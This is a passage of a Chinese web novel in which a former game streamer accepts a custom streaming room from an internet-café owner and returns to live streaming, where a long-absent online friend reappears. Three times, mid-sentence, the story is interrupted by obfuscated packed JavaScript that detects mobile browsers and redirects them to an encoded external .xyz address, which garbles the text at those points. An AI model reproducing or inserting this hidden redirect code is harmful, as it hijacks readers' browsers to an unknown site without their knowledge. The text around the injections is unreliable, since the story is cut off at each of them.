程舒晚:“……” 她深吸一口气,抱着非常客观不带个人情绪的态度,以正常审美的人类视角对这个问题做出了回答。 程舒晚:“帅。” 谭婧:“谈。” ? 程舒晚气笑,把手机扔到了一边——这个狗头军师! 21. 15号 程舒晚睡了个饱觉,第二天日上三竿才起床洗漱,慢腾腾地消磨了半日时间,但晚上尚且还不到约定的七点,她就提前整装出门,往木吉网咖而去。 倒也不是因为对关时组装的设备有隆重的期待,而是花了两小时做的刚出炉的蛋挞,还是趁热吃比较好。 不知道关时喜不喜欢吃甜食。 不喜欢也得吃,她程舒晚的谢礼是很金贵的。 程·金贵·舒晚走进木吉网咖的大门,今天仍然是工作日,网咖里顾客不多,裴哥在前台后忙里偷闲地煲剧,瞧见程舒晚进来,憨厚地咧嘴笑了:“来了,小程。” “嗯,裴哥。”程舒晚也跟着打了声招呼,突然觉得有些好笑,她并不是每次来都能看见关时,但是裴哥却总是风雨无阻地坐镇在这,一时间也不知道到底谁更像个老板,“关时在吗?” “我就知道你要找他。”裴哥呵呵地笑,指了指楼上,“15号单人包间,你去吧。” “嗯,谢谢。”程舒晚不想解释什么,抱着手里的塑料袋转身朝楼梯走去。 15号单人间在二楼走廊的角落,一个前后不搭边的位置,很安静。程舒晚第一次来木吉网咖的时候,小贾给她开的包间就是这里,后来也时常留着给她,她对这间房间不可谓不熟悉。 包间的门虚掩着,程舒晚轻轻推开一点儿往里看关时在干什么,第一眼居然没看到,多瞧两眼才发现他蹲在桌子底下。 程舒晚:“……?” 桌下空间狭窄,关时人高马大的,几乎蜷成一个球,缩手缩脚地半跪在地,在主机上捣鼓什么。 这个场面有点滑稽,程舒晚不禁有点乐,见关时没发现自己,她轻手轻脚地摸出手机,对着这个场面拍了一张照片。 结果“咔嚓”一声出来。 程舒晚才后知后觉自己手机没有静音。 半跪在桌子底下的关时听见声儿扭头过来,透过门缝望到程舒晚,微微愣了下,目光落到她的手机上。 哦豁。 程舒晚神色自若地把手机收起来,就当什么都没发生一样,推门进来,“裴哥说你在这儿。” “你等会儿的。”关时手上东西还没弄完,索性盘腿坐下,似笑非笑地看着她,“你先告诉我刚刚你干了什么。” “没啊。”程舒晚面不改色地睁眼说瞎话。 关时:“你拍了。” 程舒晚:“可能是手机自己想拍,跟我没什么关系。” “……”关时笑了下,“那劳烦你点开相册看一眼,你自作主张的手机把我拍成什么样,太丑了就删掉。” 程舒晚抓出手机,“那要是好看呢。” 关时:“那你留着,当屏保。” 程舒晚:“……” 她不想跟这个自恋的狗说话,点开相册看了眼刚刚拍的照片。 不得不说,关时的外在条件真的很养眼,哪怕是如此逼仄的环境,算不上自然的姿势,以及程舒晚鬼斧神工的抓拍角度,照片上最显眼的仍然是他那张侧脸。 关时的五官生得浓烈,脸庞轮廓干净利落,碎发被拨到一边露出好看的眉骨,眉毛底下一双眼尾微微上扬的眼睛,眸中全是专注,显得沉稳而可靠。 帅的。 程舒晚本想笑闹完之后就删掉,但平日难以从关时脸上看到这样认真的神情,还有点可惜上了。 关时:“看这么久,我有这么好看?” 程舒晚轻啧了声,关掉了手机,“你在弄什么?” 关时:“新换的机,没有和其他机子一起连接服务器,给你的。” “给我?这台?”程舒晚在主机前面蹲下,侧板被拆开了,机箱里的硬件一览无余。 关时没有给她挑二手货,都是全新的,而且还是很不错的牌子。 他这也太客气了。 只是这些硬件加在一起不知道要多少钱,只怕报价出来,程舒晚要肉疼好一阵。 “关时,”她委婉地开口,“我打网游不用这么好的设备。” 关时:“主要是我想组一台好的。” 程舒晚:“……” 关时看出来她在想什么,笑着把机箱侧板盖上,站起身来拍拍灰,“不要你钱。” 啊? “等下?”程舒晚看着他,没明白什么意思,这是要送……还是借? 关时按下开机键,机箱的灯光和显示器都亮起来,也不知道他调整了哪里,房间里的灯光也变了调,散发微微亮的暖光,整个房间沉入安静温和的氛围中。 关时:“这台电脑的显示器,外设都是全新的,这间15号也换了门锁,加装了隔音棉,改了灯光,都给你用。” 程舒晚:“……” 关时抬头,弯起眼睛,“对这间新的直播工作间,满意吗?” 程舒晚没说话。 她的大脑。 宕机了。 她昨天是怎么说的来着? 她说的是“成色好一点的二手电脑硬件和外设”,对吧? 关时昨天拍着胸脯说,包的。 那这间所谓的“直播工作间”是什么情况? 程舒晚原本在关时说出“不要你钱”的时候就开始打退堂鼓,托人帮忙组一台电脑尚且不算什么太麻烦的人情,但如果不是纯粹的金钱交易,那不可控的人情就太多了,她应付不来。 但是当房间里的灯光亮起来那一刻,所有的理由都不攻自破。 温暖微暗的灯光,把一切喧嚣,烦恼,腌臜事都隔绝在外的,狭小的,安静的房间。 桌面又宽又大,不像出租屋的折叠桌那样,随便点两下鼠标就晃得宛如世界末日,顶天立地地待在那儿,稳如老狗。 巨大的显示器,配置极好的、不至于开个游戏风扇就狂转不止的电脑…… 都是她大学直播时不曾拥有的。 而后,也不再有精力和时间折腾的。 梦寐以求的游戏工作间。 关时看她空白的表情,有点儿好笑,“不是白白送你的。” “嗯,”程舒晚当然知道没有白吃的午餐,“有什么条件?” 她不想拒绝这么好的空间,人情欠就欠吧。 关时:“这间15号你随便用,相对应的,即日起往后半年内,你经营的账号收益,我要分百分之五。” 程舒晚:“嗯?” 这倒是她没有想到过的要求,但是她很快就反应过来,这是投资。 差点忘了,关时是个正儿八经的生意人。 但他为什么这么笃定她会赚钱? 程舒晚第一个想到的原因就是“早早不起早”这个账号还有几十万的粉丝基础。 难道说关时看中的是这个账号的价值,而不是……她? 程舒晚抿起嘴唇,心里隐隐有点不愉快。 见她一直没说话,关时扬眉,“怎么?” “没事。”程舒晚把思绪拉回来,分成这点要求对她来说并不是不能接受,“我先提前说一声,我并不会在‘早早不起早’的账号上恢复直播,而是从头开始起号,所以半年的时间完全没有收入也是有可能的。” “早早不起早”的是非很多,只要她重新开播,不说别的,至少父母肯定会第一时间找上来。 如果关时要指定她恢复那个账号的运营,那么就是这个房间再好再诱人,她也只能拒绝。 关时双手插兜,“我知道,无所谓。” 程舒晚愣了下。 “完全没收入的话,就当我投资打水漂,设备送你。”关时耸肩笑笑,“我相信我投资的眼光。” 程舒晚:“……哦。” 关时顿了一下,补充道:“我也相信你。” 程舒晚:“……” 心里有什么地方被浅浅地挠了一下。 “……我知道了。”程舒晚脸上不动如山,垂眸道,“明天我找人拟一份合同,签字生效,还没签的这几天我还按照上网费给你结算。” “这么见外?”关时看她,“我以为我们的关系,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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程舒晚送的蛋挞有两盒,一盒四个,卖相看着有些稚拙,没有logo的包装,关时拿起一个咬了一口,判断出这应该是程舒晚自己做的。 他以为程舒晚这样学习工作能力很强的游戏宅,对做饭……至少对烘焙会一窍不通。 但是居然出乎意料的好吃。 正思考当场开口夸赞会不会让程舒晚尴尬,关时抬头,看到了程舒晚登录上的游戏主页。 那个他熟悉的,从尘封的记忆里重新翻找出来的名字,小鬼叉烧。 紧接着,他的注意力被屏幕左边的游戏好友栏吸引过去。 那个好友栏上有个他同样熟悉又陌生的名字和头像。 二更天。 但是除此之外,好友栏里就什么都没有了。 程舒晚只有这一个好友。 关时愣了好半晌,随后,几乎是无法遏制的,脱口而出:“那个好友是你的谁?” 安静片刻。 程舒晚扭头看了看关时,点开好友栏,“他?” 她的眼神里有一点对他的警惕和疑惑。 关时意识到自己刚刚的问题太越界,咳嗽一声勉强地笑笑,“你这个号看起来玩很久了,却只有这一个好友,所以有点好奇。哦,冒犯的话,你可以不用回答。” “嗯。”程舒晚一点头,转回过脑袋,还真就没回答。 关时拿着剩下两盒蛋挞,一时间不知道该走还是该留,满脑子只剩下——为什么? 她这个账号没加过其他好友?还是把其他人都清理了? 只剩下他? 不管是哪种情况,是不是都说明程舒晚很在意“二更天”? 要问吗? 可是以什么身份来问呢? 想了再想,关时还是觉得这个问题怎么问怎么突兀,他盯着手里的蛋挞,决定延续这个插曲之前的话题,对程舒晚的手艺报以赞赏。 关时:“这个蛋挞……” 程舒晚:“那个好友是我白月光。” 22. 少年 两人几乎同时开口的话语叠在一起,两三秒之后,双方才意识到对方说了什么。 狭小的房间里,一阵诡异的沉默在两人之间弥漫开来。 程舒晚再次回过头来,率先发话,“……蛋挞?” 蛋挞? 什么蛋挞。 蛋什么挞。 “……很好吃。”关时满脑子都被“白月光”三个字占满,还是用所剩不多的脑容量把夸赞说出口来,不忘补一句,“谢谢。” 程舒晚把头转回去面对屏幕:“不客气,好吃就行。” 啊,好。 好吃就行。 等等,不对,不是这个。 关时终于把神游的意识抓回来塞进脑子里,“你刚刚说,你白月光?” 程舒晚想着反正关时也不知道二更天是谁,便十分坦然地肯定,“嗯,白月光。” 关时站在原地,用舌尖把自己的牙一个个数了一遍,“你……” 程舒晚转头看他。 关时停了停,有点磕绊地说出下半句,“你……还喜欢他?你这个网友?” 程舒晚一顿。 还喜欢二更天吗? 回想起二更天这个人,程舒晚脑子里只有一道模糊的影子,更多的还是游戏人物“九尾狐”的慵懒男狐狸形象,操着张狂又独特的打法,以及恣意的,带着笑意的少年嗓音。 都说曾经在心里留下过深刻烙印的人就是白月光,二更天的确符合这一点。 但要说喜欢? 坦白说,程舒晚自己也不知道。 距离二人断联已经过去了七八年,当初的少年如今是什么样子她无法得知,甚至记忆中的,那些她怀念的旧时光,是不是大脑套上的滤镜,也未可知。 “二更天”这个名字,更像是来自年少时的一道幻影,不过至少,那段日子对她来说,足够可贵。 程舒晚肯定道:“喜欢。” 关时:“……是吗。” 程舒晚听出他兴致不高,暗暗瞄他。关时耷拉着眉眼不知道在想什么,手里捧着那两盒她烤的蛋挞,捧出了要饭的感觉。 有点儿像失落茫然的大狗。 程舒晚突然生出个奇异的想法。 关时这家伙。 总不能。 喜欢她吧。 想到这里,她猛然起了身鸡皮疙瘩,脑子里冷不丁炸出昨晚和谭婧的聊天内容—— 帅吗? 帅。 谈。 ……谈个屁! 程舒晚强迫自己把注意力收回来,面无表情地戴上耳机:“我今天先开游戏不直播,你要在这儿看?” 关时终于抬起眼睛,心不在焉地扯了个笑,“那你随意,我先出去了。” 他转身往包间外走,程舒晚侧目偷望他的背影,有些落寞。 程舒晚还是于心不忍:“关时。” 青年往外走的身形稍顿,回过身来,投来询问的目光。 程舒晚:“谢谢你。” 虽然她已经习惯从小到大一直被骂白眼狼,也经常以此自居,但是偶尔做个懂礼貌知廉耻的新时代青年也未尝不可。 “谢谢我?”关时好像没有为她昙花一现的“礼貌”而动容,反而沉默了片刻,随后灿烂地笑了下,“下一句不会要用‘你是个好人’来安慰我吧?我没在追你,放心。” 程舒晚:“……” 她不想对这个狗男人客气了。 再对他客气,她是狗。 关时走下楼的时候,裴哥还在煲剧,抬头看到他,憨笑着打了个招呼:“直播间弄完啦?小程什么反应?” “还能什么反应,她是什么样,这段时间你看也知道。”关时笑着把蛋挞放到桌上,“舒晚自己做的,吃吗?” “怪不得小程进来的时候拿的什么那么香,这姑娘心灵手巧啊。”裴哥说着摆了摆手,“我就不拿了,摆明了就是送你的。” 关时低头看着蛋挞顿了顿,“我也不能全吃了吧。” 裴哥:“那你拿回去跟姚姐分就好啦。小姑娘送的谢礼,别分享给‘外人’,姑娘家会在意这种事儿的。” 关时回忆了下程舒晚那张脸,心道她那性子大概率是不会想那么多的。 不然,难道让他一口气吃八个蛋挞? 那就不是谢礼了。 是赐死。 “外人什么外人,你算哪门子外人。”关时拿了个蛋挞塞他手里,调侃,“看来哥在这件事情上吃过亏啊。” “呵呵。”裴哥没拒绝,收下了蛋挞,干笑了两声,“你嫂子年轻那会儿,就是个蛮横的大醋缸子。” 关时:“这种吐槽我一律当炫耀处理了啊。” 裴哥不以为然,“你小子也不羡慕呀,你要是想谈,不是分分钟的事情?” 关时故作沉思,随后自恋地耸肩,“确实。” 完全不带谦虚的。 “你小子。”裴哥拍了他一下,晃了晃手里的蛋挞,胖胖的脸上露出八卦的笑,“怎么,有信心拿下小程?” 关时一下子哽住,“裴哥,我没那么无耻诶。” “哪儿无耻呢,啊,程老师他妹啊?还有这心理负担,人姑娘不是单身吗?” “她对我没那意思。”关时道。 裴哥在网吧干了十几年,阅人无数,见状也能琢磨出什么来,但是给小辈几分面子,于是呵呵笑着翻过页去,“行,你们年轻人心里有数,我就不在这儿咸吃萝卜淡操心的了。” 说罢,裴哥收回目光,一边吃蛋挞一边继续看起自己的电视剧。 关时有些走神,跟着把目光移过去,扫了眼屏幕上的剧情。 裴哥看的是近期热播的青春偶像剧,关时只扫了一眼就皱了眉头。 关时:“男主这是混混?” 裴哥:“是啊。” 关时:“女主喜欢他什么?” 裴哥笑了,“坏小子这款有人喜欢。” 关时:“嚯。” 裴哥听这声不咸不淡的嘲讽,转过头来意味深长,“你还‘嚯’上了。不是吗?你那会儿没被一群小姑娘追?” 关时无言地笑了声,反驳的句子已经准备在嘴边,脑子里突然闪过程舒晚的话。 那个网友。 是我的白月光。 他闭了嘴,眉头沉沉地压在眼皮上方。 “裴哥。”片刻后,他开了口。 “嗯?” “我读书那会儿,有什么好讨人喜欢的?” 裴哥认真地摸着下巴想了想,“长得帅吧。” “……多谢认可。”关时无言地乐了。 裴哥憨笑,“虽然那时你挺浑的,但的确很有锋芒。” 关时沉默半晌,非常好笑地嗤了声,“这算什么好东西。” 裴哥:“那会儿,你嫂子刚怀孕,我在店里做网管,身上还背着贷,不管什么事情都束手束脚,总得悠着点。至少那时候,我挺羡慕你能有那股劲儿的。” 关时浅浅掀起目光,看了裴哥一眼。 裴哥想到什么,脸上的表情淡了些,“啊,后来发生的就是另外一回……” “我知道。”关时弯起眼睛,恢复了一贯温和开朗的笑脸,“没事儿,都过去了,我想得开。” 一个没留神儿话题拐到这里来了,裴哥还想说点什么挽回场面,关时站直身体,“我回去一趟,今晚通宵班我守,裴哥等会儿早点回去。” “行。”裴哥没继续说,目送关时提着两盒蛋挞走出门去,再回到电视剧里时,却有点看不进去了。 他想到了以前的关时。 十多年前,木吉网咖还叫“木吉网吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364895|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”,裴哥也还是个小网管,整个网吧的员工只有大老板姚婉婷和他,再加上关时学业之余的帮工,运转得勉勉强强。 关时并不是个传统意义上的好孩子,三五成群的狐朋狗友,旷课打架家常便饭——虽然都有理由,但姚婉婷并不希望他过这样的日子,没少为他操心,苦口婆心刚柔并济地逼迫他读书。 叛逆的小鬼愣是要对着干,最后把自己扔进了本地大专。给出的理由是离家近,可以打理网吧,也可以带妹妹。 姚婉婷气得心肝冒火,裴哥也以为这小鬼要我行我素到二十郎当,那阵子《封神图录》上线不到两年,关时相当喜欢玩这个游戏,裴哥值夜班时,他总会在自家网吧占个位置,游戏时老神在在,恣意又嚣张。 直到那场变故,陡然砸在他们身上。 姚婉婷要把网吧关两周,就给裴哥放了个长假。那天晚上他送走最后一波客人,收拾东西准备关门的时候,扭头看到关时站在门口。 关时被砍伤的右手臂让医生包成了个粽子,臃肿地垂在身侧。他这阵子瘦得厉害,身形单薄,站在那儿瘪得跟披了衣服的衣架似的,看着裴哥,神情有点茫然。 裴哥解释:“姚姐说要忙官司的事情,网吧关一阵,没跟你说?” “哦。”关时点了下头,“说了,我不知道今天就关。” 裴哥:“那你过来,是拿东西?” 关时看了眼墙上的挂历,“今天星期五。” 裴哥:“嗯?” “星期五晚上八点,”关时走进店里,“我有约。” 裴哥有些惊奇,盯着他五花大绑的右手,都有些惊悚了,“约?游戏?” “嗯。” “别闹,你手不能动,医生也说也要养,伤口很深……”裴哥追着关时走,他却没听见一样,挑了台机坐下。 关时开了机,扭头看着裴哥,“你要走先走,我晚点自己关。” 裴哥与他对视,望清他眼里的死倔,颇为头疼地拍拍脑袋,“那不行,我不好跟姚姐交代,你们家可不能再出什么问题了……我在这儿看着你,行不?” 关时迟疑片刻,随后点头。 裴哥拉了把椅子在旁边坐下,看关时用包扎得严实的手艰难打开了《封神图录》,登录账号,打开好友列表。 然后坐在那儿不动了。 裴哥看他:“朋友没上线?” 关时盯着屏幕,“我等等。” 他的状态跟平时太过不同,裴哥什么也没说,只坐在那儿,陪着他熬。 无言。 刚开始裴哥还忧心忡忡,生怕关时想不开做点什么来,但关时坐在那跟个雕塑一样,反而把他熬得有些困,这段日子姚婉婷不在,他在网吧天天连轴转,放松下来疲惫上涌,不知不觉就靠着椅子睡着过去了。 不知道过了多久,裴哥一激灵醒来,懊恼自己居然眯着了,连忙看向关时,“我睡了多久,这几点……” 没说完,他后半句话卡在了嘴边。 关时仍盯着屏幕,肩颈绷着,包扎的右手虚搭在鼠标上,裴哥尚有意识的时候他就是这个姿势,再一看屏幕,也依然停留在好友界面。 裴哥汗流浃背地扫过墙上的时钟,晚上十一点半了。 他就这样在这里坐了三个多小时? “喂,关时!”裴哥轻声喊了他。 关时眼睛动了动,终于从雕塑的状态活了过来,也没看他,关了游戏站起身。 裴哥跟着起身,“没等到?” 关时没说话,静静地转过头。 裴哥这才看清他双眼已经爬上血丝,一片通红。 像是藤蔓。 绞杀了原本属于少年眼里的光。 “不等了。”他说道。 声音沉得像是掺了水的沙子。 “不再等了。” 23. 直播 程舒晚没忘记要给和关时之间的协议起草文件的事情,回家之后拨通了谭婧的电话,委托了此事。 谭婧对此有些意外,一方面没想到那个所谓的邻居能对程舒晚支持到这般地步,一方面对程舒晚的行动力感到惊奇——前一天才说准备恢复直播的事情,隔天居然就谈了个投资协议。 虽然不太正式。 程舒晚曾经工作的确很卖力,但只要不在工作状态就是个关机摆烂的咸鱼,辞职这么久,都被暖融融的日子捂发酵了,哪里还有这种说干就干的精神头。 谭婧仔细回忆,她上一次这么积极推进什么事情,还是一声不吭就搬家的时候。 这个所谓的邻居,有点意思。 谭婧托腮,笑问:“我觉得那个邻居对你应该有想法,你怎么想?” 程舒晚:“不想。” “哦?但是你明明还挺主动的。” “主动?我?”程舒晚满头雾水。 “你忘了大学被追的时候?”谭婧提起过去的事,“人都表白了,你来了句‘我们一个班的吗’,妈的我要笑死了。” 程舒晚:“我跟你说的?我没印象。” “你哪能记得这种事情,我海大有个跟你同公共课的朋友,她撞见了跟我说的。”谭婧乐不可支,“看,这才是你对不感兴趣的人的正常反应,还不觉得现在主动?” 程舒晚抿唇,否认了谭婧对自己“主动”的判断,“他帮了我挺多的,忽视他很不道德,仅此而已。” “好,行,”谭婧服气地投降,末了刺一句,“木头。” 程舒晚叹口气:“我不想谈恋爱。” 谭婧:“二十六了,姐姐。” “跟年纪没关系。就是我不适合。” 谭婧:“你怎么不……” “我不适合。”程舒晚斩钉截铁重复道,“别劝。” “……行行行。”谭婧不再在这个话题上逗留,“那等着吧,我起草完协议再给你过目,死人机。” 程舒晚:“……” 挂断电话之后,她躺在床上,盯着漆黑的天花板。 关时。 确实是个挺好的人。 但是不管他好不好,也不管这阵子帮她的是关时还是其他什么人。 她不想谈恋爱,跟对面是谁,是什么样的人都没关系。 她只是单纯的,不适合亲密关系。 程舒晚对自己非常了解。 一个冷漠的,自私的,在情感上提供不了任何价值的人。 谁喜欢她谁倒霉。 对了,要给谭婧发点参考资料。 程舒晚重新摸起手机来打开相册翻找今天截图记录的关于直播间的协议细节,冷不丁看到一张陌生的图——是那张在15号包间偷拍关时的照片。 啊,忘记删了。 程舒晚手指挪到右下角悬在删除键上方,但顿了许久,还是鬼使神差地没点下去。 这张照片没什么特别的,光线不足,角度混乱,随手一拍。 但是青年那张认真而沉稳的侧脸。 好像有点太帅了。 草。 程舒晚最后还是没有删掉,手一划退了出去,随后自嘲地笑了声。 她要是对关时动心,应该是色心吧。 周六,程舒晚起了早,在书房做了些直播规划——她走过这条路,如今再走一遍,知道有多少事情是需要事先准备的,好在都不难解决,弄完这些东西临近中午,她也懒得做饭了,收拾东西出去找东西吃,顺便去网咖做开播准备。 电梯下行。 在经过5楼的时候,程舒晚恍惚一瞬,似乎电梯会停下,开门,随后一道高大的身影就会出现,跟她热情打招呼。 好在没有,屏幕上的数字无惊无险地变成了“4”。 程舒晚松了口气,随后疑惑了下自己为什么要紧张。 肯定是因为欠关时太多了。 程舒晚正准备把这个“债主”扔出脑袋,电梯到了1楼,门开了,有道青春靓丽的身影晃进视野。 “呀,程姐姐!”对方眼睛一亮,水灵灵地冲进电梯来,“要出门呀?去我家网咖?” 门外正是那个债主的妹妹关星玥,背着书包,大概是刚放学回家来。 自从上次这小姑娘上门推销自家芒果之后,程舒晚只偶尔会在电梯间碰上她。关星玥像个没有心眼子的小狗一样蹦蹦跳跳的,纵然是程舒晚这个阴暗的家伙,看到她也不免心情上扬几分。 青春洋溢的小姑娘啊。 真是美好。 “嗯,去网咖。”程舒晚应答。 “哦哦,”关星玥压低声音,眼睛扑闪扑闪的,“我听裴哥说,程姐姐你要做游戏直播啦?” 程舒晚:“……” 那个主管大哥。 怎么嘴那么多。 好在关星玥没有多问,只是自言自语:“那等会儿我也去网咖玩好啦。” 程舒晚条件反射:“你上高二,未满十八吧?” 话刚说出口她就觉得这个问题问得多余,人亲哥就是网咖老板,她在这儿操什么心,只能说之前那个被父亲抓的女孩给她的印象太深刻了,下意识就担心起这样的问题。 关星玥果然乐了好几声,“没事儿程姐姐,我过两周就十九了。” ……啊? 程舒晚微怔,关星玥的年龄比她以为的要大,这个年纪要么是上学晚,要么是留过级、休过学,也不知道是哪种。 但她也不想去探究,一方面这不礼貌,另一方面这跟她没什么关系,于是只点了个头,走出电梯,跟关星玥告别。 “程姐姐再见!”关星玥挥手。 周六的木吉网咖果然生意不错,程舒晚进门就被几乎满座的大厅晃花眼,不少人在打游戏,还有人在看游戏直播。 她脑子里闪过一个念头。 周末流量好,今天开播的话估计会有不错的数据。 好嘛,已经提前开始进主播状态了。程舒晚一边腹诽一边往里走,径直走向楼梯,去到二楼的15号包间。 昨天关时给了她这个房间的钥匙,平时只要她不用都是锁门的状态,别的客人进不去。 所以现在应该说,是专属于她的直播间了。 程舒晚关上门,原本还有些嘈杂的大厅一下子就被隔绝在外,在这家客流量顶好的网咖里,她的小直播间居然也算是闹中取静的大隐隐于市了。 关时的改造看来废了挺大功夫。 感谢老板。 多多赚钱用分红回报吧。 她这样想着,打开电脑,登上游播社。 关于直播,程舒晚有几分规划。 直播用的游播社账号,沿袭现在的游戏ID,就叫“小鬼叉烧”,她已经提前注册完毕了。 至于“早早不起早”,等到她把所有隐患解决,再继续承接那个账号的一切。 点击“开始直播”的按钮时。 程舒晚还是能清晰地感受到心脏一瞬间仿佛被攥紧了。 这个时刻。 等了太久。 虽然没办法以“阿早”的身份正式回归,但是时隔多年,她依然有强烈的既视感。 就好像五六年前,她第一次按下“开始直播”的按钮一样。 又好像那无数个夜晚,她每次按下“开始直播”一样。 新奇,忐忑,熟悉,怀念,众多复杂的情绪包裹而来。 然后。 直播间在线观看的0给了她无声的沉痛一击。 程舒晚:“……嗤。” 她不由得笑了一声。 这在她的预期之内,没有流量是每个新人主播都要面对的事情,哪怕坐在这儿的是曾经二十几万粉丝的阿早本人,也依然要面对这道门槛。 好在程舒晚早就经历过,对此也有对策。 她的直播间标题是——“女主播,包赢”,配图是自己排位七十二连胜的截图。 简单粗暴。 《封神图录》的直播环境鱼龙混杂,不少直播间中“女主播”和精修可爱的自拍绑定,吸引什么样的观众不言而喻。 在这种环境中,一旦有个标榜“女主播”的直播间,跟着的却是技术流形容,同样会吸引到很多目光。 这些人会抱着“让我考考你”的高傲心态,来点评和猜忌她这个不知天高地厚的女主播。 游播社对新人主播有流量扶持,再加上有噱头的标题,直播间很快就来了一批人,弹幕也刷上去好几条。 “下午好,主播。” “主播手好好看哦,白白嫩嫩的。” “不露脸吗小姐姐?” “看看段位。” “口气这么大,不能只玩辅助吧?” 果不其然,直播间吸引到了那些想要一探究竟的观众。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364896|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 程舒晚要的就是抱着这些心态的人。 然后,用技术。 留下他们。 趁着人多,程舒晚开了一把排位,随口对观众说:“你们说玩什么。” 弹幕:“声音好听啊主播,多说话,爱听!” “主播都会?” “嗯,都会。”程舒晚看着队伍第一个就是自己选择人物,“快点,你们说选什么。” 就在时间剩下两秒的时候,弹幕蹦出来个“九尾狐”。 ……嚯。 程舒晚来不及感慨,瞬间爆发手速,在两秒钟之内精准选择控制位界面,选中了九尾狐,点击确定。 九尾狐那慵懒的男狐狸形象在屏幕上出现,优雅地念着台词。 弹幕:“主播手好快啊。” “主播玩这个游戏多久了?” 游戏进入对局,程舒晚一边操纵九尾狐往中路上走,一边回应弹幕:“九年。” 弹幕:“哇,怪不得敢说‘包赢’。” “嗯。”程舒晚回答,“这个段位,很难输。” 话音刚落,局内播报响起,小鬼叉烧拿下全局一血。 弹幕:“?” “主播别狂,小心打脸。” 程舒晚:“实话。” 她有说这种话的资本,早在“阿早”时期,她的段位是最高的“封神”境界,而且积分在区服排名很靠前,更别提区服前十的千机鸟。 当初的程舒晚,是跟其他的《封神图录》大主播乃至职业选手车队神仙打架的水平。 虽然现在已经不比四年前,但“无上”境界的对局水平依然不是能碰瓷她的。 程·大佬·舒晚精准把控对局节奏,从头带飞到结尾,胜利界面弹出,赫然一个“七十三连胜”晃进观众的视野,弹幕上一片问号。程舒晚看了眼直播间人数,果然效果很好,一场对局下来在线开始稳定在四五十人,也开始有人点关注和刷小礼物了。 “下一把想看我玩什么。”程舒晚对弹幕说着,退到首页去领取活动奖励。 有眼尖的观众看到了她的好友列表缩略图,发了句疑问:“主播的好友列表只有一个人吗?” 程舒晚顿了顿,点开好友栏,露出二更天的头像和ID,以及那个醒目的“上次上线七年前”。 她有预料到,只要拿小鬼叉烧这个账号来直播,这个问题总会被提及。 “以前的一个网友。”她坦然回答,就像被关时问起的时候一样,没什么好隐瞒的。 这个观众接着问:“这么久不上线,姐姐不删啊?” 这就叫上姐姐了。 当代网友蹬鼻子上脸的速度让人惊叹。 “嗯。”程舒晚没过多解释,“不占地方,放着吧。” 观众:“要是一款游戏我七年没玩,再想玩也只会开新号了。” 程舒晚微微停顿。 她突然发现,自己好像没有思考过这个问题。 二更天。 会开新的号玩吗? 对啊。 不无可能啊。 他说不定已经忘记这个号了。 说不定也忘记她了。 她把他留在好友列表,重新登录小鬼叉烧这个账号,等待的这些日子。 或许都是她自己的一厢情愿呢? …… 似乎。 也可以。 人总是要往前走,拗于过去并不是好选择。 如果二更天的人生稳步向前,生活得很好,那么忘了她,也不是什么不可饶恕的事情。 说到底,他们也只是人海之中隔着条网线相遇,凑在一起打了一年游戏而已。 弹幕还在问:“主播,是不是什么难以忘怀的前男友啊?” “我们继续吧。”程舒晚转移话题,“只是网友,也没有难以忘怀,除非他诈尸。” 她正要关闭好友列表,余光突然一闪。 然后。 那串“七年前”的灰色字迹不见了。 取而代之的是绿色的两个字。 “在线”。 程舒晚:“……” 她以为自己眼花了,定睛,深深看了过去。 彩色的头像,明亮的“二更天”,绿色的“在线”。 二更天。 上线了。 弹幕:“?” 程舒晚:“?” 24. 上线 红枫小区,十三栋501,关时一家。 午饭过后,关星玥一如既往包揽了洗碗的任务,姚婉婷下午要出门,现在正在房间里化妆,关时靠在阳台,手中夹着一支没有点燃的香烟,神色严峻地盯着手机。 好半晌之后,他终于下定决心似的拨通苏新胜的电话,随着等待接听的铃声心不在焉地往外盯着楼下的玉兰树。 “喂?”苏新胜接起来,似乎刚醒,带着起床气,“有屁放。” 关时开门见山,“我那个号的密码你记得吗?” “什么密码?”苏新胜没转过弯来,“什么号?” “二更天那个号。” “……草。”苏新胜缓了几秒终于清醒,“我他喵的怎么知道,你自己都记不得……不是,怎么突然问这个了?” “想上去看看。”关时说着,转念一想又觉得矫情,还是作罢好了,“没事,不记得拉倒,继续睡吧,拜。” “诶诶诶你等下!”苏新胜大喊着叫停关时挂断电话的动作,“你有病吧就这事儿吵我睡觉?你给我说清楚了,干什么呢你这是?” 关时拿着手机没说话。 苏新胜听着这阵沉默,明白了什么,“跟晚姐有关是吧?” “……不是她。”关时下意识否认。 “不是?” 关时嗯了声,“只是想看看。” “哦。那你忘记密码,找回不就行了。” “找回密码要手机号,天才。”关时呛了句,“我那张手机卡当年都扔了。” 他清晰地记得,在决定要跟过去的腌臜事割舍的那天,他买个新的号码,把旧手机卡拔了随手就扔了。 “我就说你仪式感大过天,然后总干一堆不过脑子的事情吧。”苏新胜吐槽,“找你妈拿。挂了,别打扰我睡觉。” “什么?”关时诶了声,苏新胜动作倒是快,话音落下就掐断了通话。 ……狗人,起床气起来跟换了个人似的。 